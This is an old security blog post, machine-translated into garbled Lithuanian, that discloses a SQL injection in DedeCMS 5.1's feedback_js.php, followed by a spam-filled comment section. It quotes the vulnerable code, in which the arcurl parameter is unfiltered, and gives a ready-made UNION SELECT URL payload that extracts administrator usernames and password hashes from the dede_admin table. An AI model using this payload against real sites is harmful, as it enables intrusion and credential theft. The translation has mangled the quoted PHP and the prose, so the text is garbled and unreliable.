DedeCMS 5.1 0day feedback_js.php-0day, DedeCMS DedeCMS 5,1, feedback

DedeCMS 5,1 feedback_js.php 0day

Šis įrašas buvo paskelbtas 2009 Spa 11 d.

Autorius: st0p Rainy'Fox
Pavaizduota prašome nurodyti šaltinį: http://www.st0p.org http://bbs.erpangzi.com/

Šis pažeidžiamumas rasti ir Rainy'Fox taip pat tuo atveju, magic_quotes_gpc = išjungta

Luka Versija straipsniai: Condo 5,1
Tai gali būti išnaudojami gauti administratoriaus sąskaitą fone ir šifruoti maišos, spragų esama failą plius / feedback_js.php, nefiltruoto parametrų $ arcurl

  ......
 0 ; $ Urlindex = 0;
 empty ( $arcID ) ) jei (tuščia ($ arcID))
 {
	 $dlist -> dsql -> GetOne ( "Select id From `#@__cache_feedbackurl` where url=' $arcurl ' " ) ; $ Row = $ dlist -> dsql -> GetOne ("SELECT id Nuo" # @ __ cache_feedbackurl ", kai url =" $ arcurl ");
        / / Čia $ arcurl nė vienas filtras
	 is_array ( $row ) ) $urlindex = $row [ 'id' ] ; jei (is_array ($ row)) $ urlindex = $ row ['id'];
       / / Pateikite rezultatai $ urlindex užduotį, užklausos $ row ['id'], mes galime statyti SQL į kitą, veikiančio
 }
 empty ( $arcID ) && empty ( $urlindex ) ) exit ( ) ; jei (tuščias ($ arcID) && tuščias ($ urlindex)) exit ();
 / / Jei $ arcID yra tuščia arba $ urlindex tuščias išėjimas
 ......
 empty ( $arcID ) ) $wq = " urlindex = ' $urlindex ' " ; jei (tuščias ($ arcID)) $ WQ = "urlindex = '$ urlindex";
 / / $ ArcID yra tuščias, tiesiog virš įgyvendinimo rezultatai bus priskirtas $ WQ į šių atliekamų operacijų.
 = " aid=' $arcID ' " ; dar $ WQ = "pagalba = '$ arcID'";
  "select * from `#@__feedback` where $wq and ischeck='1' order by dtime desc" ; $ Eilutės užklausos = "SELECT * FROM` # @ __ grįžtamasis ryšys ", kai $ WQ ir ischeck = '1 ', kad dTIME desc";
 Init ( ) ; $ Dlist -> init ();
 SetSource ( $querystring ) ; $ Dlist -> SetSource ($ eilutės užklausos);
 ......

Galite naudoti, ei, uždarytas aš naudoti du sąjungą

  http://st0p/dedecms51/plus/feedback_js.php?arcurl = "sąjunga pasirinkite" 1 = 2 sąjunga pasirinkite 1,1,1, userid, 3,1,3,3, pwd, 1,1,3 , 1,1,1,1,1 iš dede_admin 1 = 1 sąjungos SELECT * FROM dede_feedback, kai 1 = 2 ir "=" "iš dede_admin, kur'' ="

Deja, net ir Rainy'Fox tai vaikinas rasti tikslinę testą, kai jis iš tikrųjų sakė magic_quotes_gpc = per .... per YD ši idėja ... per baisus, tikrai tai pasiekti sektorius tinklas chaosas, daug programų pagal nutylėjimą, PHP magic_quotes_gpc yra išjungtas, skambinti savo pabėgti dalį ... tikrai galima pasiekti, kad yra PHP programos košmaras ...

Sužinokite ° kovos menų cheats

352 Atsakymai į "DedeCMS 5.1 feedback_js.php 0day"

Hostingas Lap 19, 2009 | Atsakyti
zelo intiresno, Hvala
AKfour septyni on Dec 1, 2009 | Atsakyti
Aš stoviu čia šiandien nusižemino prieš užduoties [url = http://www.bawwgt.com] dofus Kamas [/ url] dėkingas už pasitikėjimą, kurį buvo padovanotas, prisimindama aukų, kurias patiria mūsų [url = http:// / www.bawwgt.com] pigūs dofus Kamas [/ url] Dėkoju Prezidentui [url = http://www.bawwgt.com] dofus galia lygiava [/ url] už savo paslaugą, [url = http:// bawwgt.com] pirkti dofus Kamas [/ url], taip pat kilnumo ir bendradarbiavimą, jis buvo rodomas per šį pereinamąjį laikotarpį.
, wsewtoexg on Dec 3, 2009 | Atsakyti
CMvNTO honoyhhectcq , [url = http://bqjmruocdqwf.com/ bqjmruocdqwf [/ url], [link = http://mdbdixbzaeau.com/] mdbdixbzaeau [/ link], http://njofsuttytxm.com/
Iki Tedy Dec 5, 2009 | Atsakyti
Tik 34 dienų iki DOFUS 2.0! Gruodžio 2 d bus čia, kol mes žinome, [url = http://www.bawwgt.com/fr] dofus Kamas [/ url] [url = http://www.bawwgt.com / FR] dofus Kamas moins vimas [/ url] kiekvienas žaidėjas bus atrasti visiškai naują DOFUS patirtį. [url = http://www.bawwgt.com/fr] acheter des dofus Kamas [/ url], turi būti turinio su ataskaitos ir forumai. Net jei taip [url = http://www.bawwgt.com/fr] ACHAT dofus Kamas [/ url], ¡ ¯ visada nedaugelis iš mūsų brangių žaidėjų forumuose.
Iki pirkti Strattera on Dec 13, 2009 | Atsakyti
tai kietas naujienos. Ačiū.
By Seengart apie Grd 14, 2009 | Atsakyti
Huh ... informatyvus stilius ..
Eimis -web on Dec 16, 2009 | Atsakyti
Vdaka už zaujimavy dienoraštis
Pagal ConradSimone 8 Kov , 2012 | Atsakyti
Na tai labai įdomus indeed.Would, meilė skaityti šiek tiek daugiau. Grožėtis vertingos informacijos Jums pasiūlyti savo straipsnius.
Konradas pagal Simone